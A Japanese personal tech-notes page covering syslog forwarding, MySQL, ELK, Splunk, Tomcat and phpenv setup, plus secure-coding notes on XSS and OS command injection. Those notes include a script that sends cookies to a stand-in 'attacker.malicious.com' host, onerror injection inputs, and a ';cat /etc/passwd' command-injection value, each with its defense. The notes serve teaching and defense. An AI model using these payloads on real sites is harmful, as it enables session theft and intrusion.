httpdのログをsyslogサーバに転送して、ファイルを分けて保存する

 

- 送信元ホストの設定
/etc/httpd/conf/httpd.confに以下を追記
<IfModule log_config_module>
CustomLog "|/usr/bin/logger -p local5.info -t httpd_access" combined
/etc/rsyslog.conf に以下を追記
local5.*                   @@reverse-edge.com:514

- syslogサーバの設定
/etc/rsyslog.conf
コメント解除
$ModLoad imtcp
$InputTCPServerRun 514
以下を追記
$template httpd,"/var/log/syslog/%hostname%/httpd/%programname%.log"
local5.*        -?httpd

- 上記設定をすると、送信元ホストごとに
/var/log/syslog/{hostname}/httpd
というディレクトリにhttpdのログがフォワードされるようになる
 参考)

https://www.server-world.info/query?os=CentOS_6&p=rsyslog
https://genchan.net/it/server/4127/
https://orebibou.com/2017/03/apache%E3%81%AE%E3%83%AD%E3%82%B0%E3%82%92rsyslog%E3%81%A7%E8%BB%A2%E9%80%81%E3%81%99%E3%82%8B/

CentOS7 に MySQL をRPMでインストールする

# cd /var/tmp
# wget http://dev.mysql.com/get/Downloads/MySQL-5.6/MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar
# tar xvf MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar

# rpm -Uvh MySQL-server-5.6.36-1.el7.x86_64.rpm
※インストール中以下のメッセージが表示される
A RANDOM PASSWORD HAS BEEN SET FOR THE MySQL root USER !
You will find that password in '/root/.mysql_secret'.

# rpm -Uvh MySQL-client-5.6.36-1.el7.x86_64.rpm
※mysqlコマンドを使うために必要

# rpm -Uvh MySQL-shared-5.6.36-1.el7.x86_64.rpm
※プログラムからMySQLを使うためのライブラリなどが含まれる

# mysql --version
mysql Ver 14.14 Distrib 5.6.36, for Linux (x86_64) using EditLine wrapper

# systemctl status mysql.service

rootの初期パスワードを確認
# cat /root/.mysql_secret

初期パスワードでログイン
# mysql -u root -p

mysql> show databases;
ERROR 1820 (HY000): You must SET PASSWORD before executing this statement
mysql> SET PASSWORD = PASSWORD('password');


php-mysqlのインストール
wget http://mirror.centos.org/centos/7/os/x86_64/Packages/php-mysql-5.4.16-42.el7.x86_64.rpm
rpm -Uvh php-mysql-5.4.16-42.el7.x86_64.rpm

参考)
http://www.kakiro-web.com/linux/mysql-install.html

How to Install Elasticsearch+logstash+kibana on CentOS


- Install Elasticsearch by following.


https://www.elastic.co/guide/en/elasticsearch/reference/5.3/rpm.html



- Configure Elasticsearch
https://www.elastic.co/guide/en/elasticsearch/reference/5.3/settings.html


/etc/elasticsearch/elasticsearch.yml 
network.host: 153.126.171.84


- Start Elasticsearch

/etc/rc.d/init.d/elasticsearch start

$ curl localhost:9200
{
  "name" : "yPjLETS",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "fFp2Z0L8RxyKa7f26TEPng",
  "version" : {
    "number" : "5.3.1",
    "build_hash" : "5f9cf58",
    "build_date" : "2017-04-17T15:52:53.846Z",
    "build_snapshot" : false,
    "lucene_version" : "6.4.2"
  },
  "tagline" : "You Know, for Search"
}

c.f.
logfile:
	/var/log/elasticsearch/


- Install logstash by following.
https://www.elastic.co/guide/en/logstash/5.3/installing-logstash.html#_yum

yum install logstash


- start logstash

initctl start logstash


- Install kibana

 cd /var/www/html/html/


wget https://artifacts.elastic.co/downloads/kibana/kibana-5.0.0-linux-x86_64.tar.gz

 tar zxvf kibana-5.0.0-linux-x86_64.tar.gz 
 mv kibana-5.0.0-linux-x86_64/ kibana
 chown -R apache:apache kibana/
 
 c.f.


https://www.elastic.co/guide/en/beats/libbeat/5.3/kibana-installation.html
https://www.elastic.co/guide/en/kibana/current/targz.html



- Setting kibana

/var/www/html/html/kibana/config/kibana.yml
server.host: "www.reverse-edge.com"
logging.quiet: true

c.f.


https://www.elastic.co/guide/en/kibana/current/settings.html
http://qiita.com/windows222/items/57423a420d57399cbc3e

  


- Run kibana

 ./bin/kibana
 


- Allow 5601 port using iptable

 -A INPUT -p tcp -m tcp --dport 5601 -j ACCEPT 


- access kibana
http://www.reverse-edge.com:5601
c.f. https://www.elastic.co/guide/en/kibana/current/access.html


 
XSS

XSS


- 要素の内容にスクリプトを注入

-サンプルコード1
<?php
    $username = $_GET["username"];
    session_start();
    print " ".$username;
?>

-攻撃コード
- ダイアログを表示
usernameに以下を入力
<script>alert(document.cookie)</script>

http://hogehoge.com/xss.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E

- cookieを攻撃者のサーバに送信
http://hogehoge.com/xss.phpusername=<script>window.location=
'http://attacker.malicious.com/attack.php?'+document.cookie;</script>

実際にはURLエンコードが必要
攻撃者サーバのアクセスログ

GET /attack.php?PHPSESSID=486kotqq25ij9t3tj0nq0ebp25 HTTP/1.1" 200 94 "http://hogehoge.com/xss.php?username=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fattacker.malicious.com%2Fattack.php%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C!--" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0"

-->PHPSESSIDが送られてしまう

- 対策の検証

- レスポンスのエスケープ
  <>&" ' のエスケープ(実体参照化)が必要

- サンプルコード(要素の内容)
<p> <?php echo htmlspecialchars($username, ENT_QUOTES, "UTF-8"); ?></p>

- レスポンス
<p> &quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!--</p>

- JavaScriptのエスケープ
HTMLコードを書き出しているdocument.write, innerHTMLなどは同様の対策が必要。

-サンプルコード(脆弱な例)
document.write("Your name is "+document.getElementsByName('username')[0].value);

- インプット(username)
<script>alert("xss!")</script>

- サンプルコード(エスケープ)
JSには標準APIにはエスケープの機能がない
function escapeHtml(str) {
    str = str.replace(/&/g, '&amp;');
    str = str.replace(/</g, '&lt;');
    str = str.replace(/>/g, '&gt;');
    str = str.replace(/"/g, '&quot;');
    str = str.replace(/'/g, '&#39;');
    return str;
}

- 要素の属性
ダブルクォートで囲い、属性値のダブルクォートを&quotにエスケープ
①エスケープなし、ダブルクォート囲いなし

- サンプルコード
<?php
    $icon = $_GET["icon"];
    print '<img src='.$icon.'>';
?>

- インプット(icon)
icon not found onerror=alert(document.cookie);

- レスポンス
<img src=icon not found onerror=alert(document.cookie);>	

-->スクリプトが実行される
②エスケープなし、ダブルクォート囲いあり

- サンプルコード
<?php
    $icon = $_GET["icon"];
    print '<img src="'.$icon.'">';
?>

-インプット
icon not found "onerror=alert(document.cookie);"
<img src="icon not found "onerror=alert(document.cookie);"">	

-->スクリプトが実行される
③エスケープあり、ダブルクォート囲いあり

- サンプルコード
<?php
    $icon = $_GET["icon"];
  $icon=htmlspecialchars($icon, ENT_QUOTES, "UTF-8");
    print '<img src="'.$icon.'">';
?>

- インプット
icon not found "onerror=alert(document.cookie);"

-レスポンス
<img src="icon not found &quot;onerror=alert(document.cookie);&quot;">	

-->スクリプトが実行されない
参考)

https://cybozudev.zendesk.com/hc/ja/articles/201850320-JavaScript%E3%81%A7%E3%82%BB%E3%82%AD%E3%83%A5%E3%82%A2%E3%81%AA%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%92%E3%81%99%E3%82%8B%E3%81%9F%E3%82%81%E3%81%AB%E6%B0%97%E3%82%92%E3%81%A4%E3%81%91%E3%82%8B%E3%81%93%E3%81%A8

http://blog.tokumaru.org/2015/04/phpsqlxss.html

http://gihyo.jp/admin/serial/01/charcode/0001

https://www.ipa.go.jp/security/awareness/vendor/programmingv1/a01_02.html

http://itpro.nikkeibp.co.jp/article/COLUMN/20080221/294407/?rt=nocnt

OS コマンドインジェクション



- 脆弱なコードの例

<html>
<body>
  <form name="mailForm" action="mail.php" method="POST">
    メールアドレス: <input type="text" name="email" size="40"><br>
    <input type="submit" value="send">
  </form>
</body>
</html>
<?php
$email=$_POST['email'];
system("echo 'hello' | sendmail ".$email);
print "メールアドレス:".$email;
?>


- 入力

user1@example.com;cat /etc/passwd


- 対策
- エスケープする

system("echo 'hello' | sendmail ".escapeshellarg($email));


- OSコマンドを実行可能なAPI(systemとか)を使わない

(可能ならプログラムの機能を使う)

mb_send_mail($email,$subject,$body,"From:".$from);


-シェルを経由しないでコマンドを起動する

pcntl-execはシェルを経由しないが、CGIモードでないと使えないらしい


http://php.net/manual/ja/function.pcntl-exec.php
http://blog.tokumaru.org/2013/12/php_21.html


        

How to use stored procedure in PHP


- Create procedure
delimiter //
CREATE PROCEDURE selectOrders(IN user varchar(255), IN keyword varchar(255))
BEGIN
  SELECT * from orders where username=user and ordername =keyword;
END;

- Check procedure
show procedure status;
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
| Db       | Name         | Type      | Definer        | Modified            | Created             | Security_type | Comment | character_set_client | collation_connection | Database Collation |
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
| shopping | selectOrders | PROCEDURE | root@localhost | 2017-04-14 17:37:18 | 2017-04-14 17:37:18 | DEFINER       |         | utf8                 | utf8_general_ci      | latin1_swedish_ci  |
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
show create procedure selectOrders;

---------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
| Procedure    | sql_mode                                   | Create Procedure                                                                                                                                                                       | character_set_client | collation_connection | Database Collation |
+--------------+--------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
| selectOrders | STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION | CREATE DEFINER=`root`@`localhost` PROCEDURE `selectOrders`(IN user varchar(255), IN keyword varchar(255))
BEGIN
  SELECT * from orders where username=user and ordername =keyword;
END | utf8                 | utf8_general_ci      | latin1_swedish_ci  |
+--------------+--------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
1 row in set (0.01 sec)
 call selectOrders('User1','Buy books');
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+
| id | username | ordername | amount | create_time         | update_time         | extra1 | extra2 |
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+
|  1 | User1    | Buy books |   5000 | 2017-04-07 14:07:30 | 2017-04-07 14:07:30 | NULL   | NULL   |
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+

- Call procedure from PHP (PDO)
<?php
$ds = "mysql:host=localhost;dbname=shopping";
$user = "root";
$pass = "root";
$dbh = new PDO($ds, $user, $pass);
$stmt = $dbh->prepare("call selectOrders(?,?)");
 $stmt->bindParam(1,$username,PDO::PARAM_STR);
 $stmt->bindParam(2,$keyword,PDO::PARAM_STR);
$stmt->execute();
$query = $stmt->queryString;
while($row = $stmt->fetch()){
        print $row["username"];
        print $row["ordername"];
        print $row["amount"];
}
?>

- インストール


http://ricemalt.blog98.fc2.com/blog-entry-2.html
に従ってインストール

- 環境変数設定
export SPLUNK_HOME=/opt/splunk
PATH=$PATH:$SPLUNK_HOME/bin

- 自動起動設定
splunk enable boot-start

- 起動
splunk start	/	stop	/	restart
※非root ユーザでの Splunk の起動設定は実施せず

- 通信許可
iptables で8000(TCP),8089(TCP),443(UDP/syslog),9997(forwarder)を許可

- WebUI
http://{hostname}:8000/

- ユーザ作成
admin(元々存在する)

- ログ収集設定

- syslog
http://ricemalt.blog98.fc2.com/blog-entry-9.html
に従って、ファイルとディレクトリでsyslog配下をモニタするように設定

- windows イベントログ
http://blog.serverworks.co.jp/tech/2015/08/05/splunk-enterprise-windows-eventlog/
に従って設定
サーバ側:
Splunk Add-on for Microsoft Windowsをインストール
WebUIからSplunk Appからインストールできるみたいだが、ダウンロード時にエラーになったので、
ダウンロードページから手動で取得し、サーバに転送

https://splunkbase.splunk.com/app/742/
解凍して、以下に配置し、splunk再起動
/opt/splunk/etc/apps
Forwarder:TCP(9997)でリッスンするように設定
ログ収集対象のwindows:
Splunk Universal Forwarderをインストール
これだけで、リアルタイムでイベントログが収集できるようになる
ただし、イベントログの文字列そのままで、項目の抽出はされていない

- アラート設定
検索クエリを入力し、save as --> alert を選択すると、アラート条件として保存できる
アラート発生時のアクションとして、メール送信やスクリプト実行ができる

        

How to enable remote debugging of J2EE application running on Tomcat

- Change and sdd the following codes to $CATALINA_HOME/bin/startup.sh

# exec "$PRGDIR"/"$EXECUTABLE" start "$@"
export JPDA_ADDRESS=${TomcatServerIP}:8000
exec "$PRGDIR"/"$EXECUTABLE" jpda start "$@"

- Restart tomcat

- In Debug Configurations of Eclipse,
- Create new "Remote Java Application",
and set Host and Port to ${TomcatServerIP} , 8000

- Set break point and start debugging

How to Install multipul versions of php using phpenv


c.f.


http://qiita.com/uchiko/items/5f1843d3d848de619fdf


Tested in Cent7 + php 5.4.45(default)
Adding php 7 using phpenv.

git clone git://github.com/CHH/php-build.git ~/.phpenv/plugins/php-build
echo 'export PATH="$HOME/.phpenv/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(phpenv init -)"' >> ~/.bashrc
exec $SHELL -l
phpenv install -l
phpenv install 7.1.3


--> Build error



- Install nesessary packages

yum install openssl-devel
yum install libcurl
yum install curl-devel 
yum --enablerepo=epel install libmcrypt


- Install mcrypt

yum install gcc-c++
tar zxvf re2c-0.16.tar.gz 
cd re2c-0.16/
./configure 
make
make install
c.f.


https://donow.jp/skillup/?p=1328


yum install --enablerepo epel libmcrypt-devel
yum install readline-devel
yum install libtidy
yum install --enablerepo epel libtidy
yum install --enablerepo epel libtidy-devel
yum install libxslt
yum install libxslt-devel
yum install autoconf
yum install automake
phpenv install 7.1.3


--> Success


# phpenv versions
  7.1.3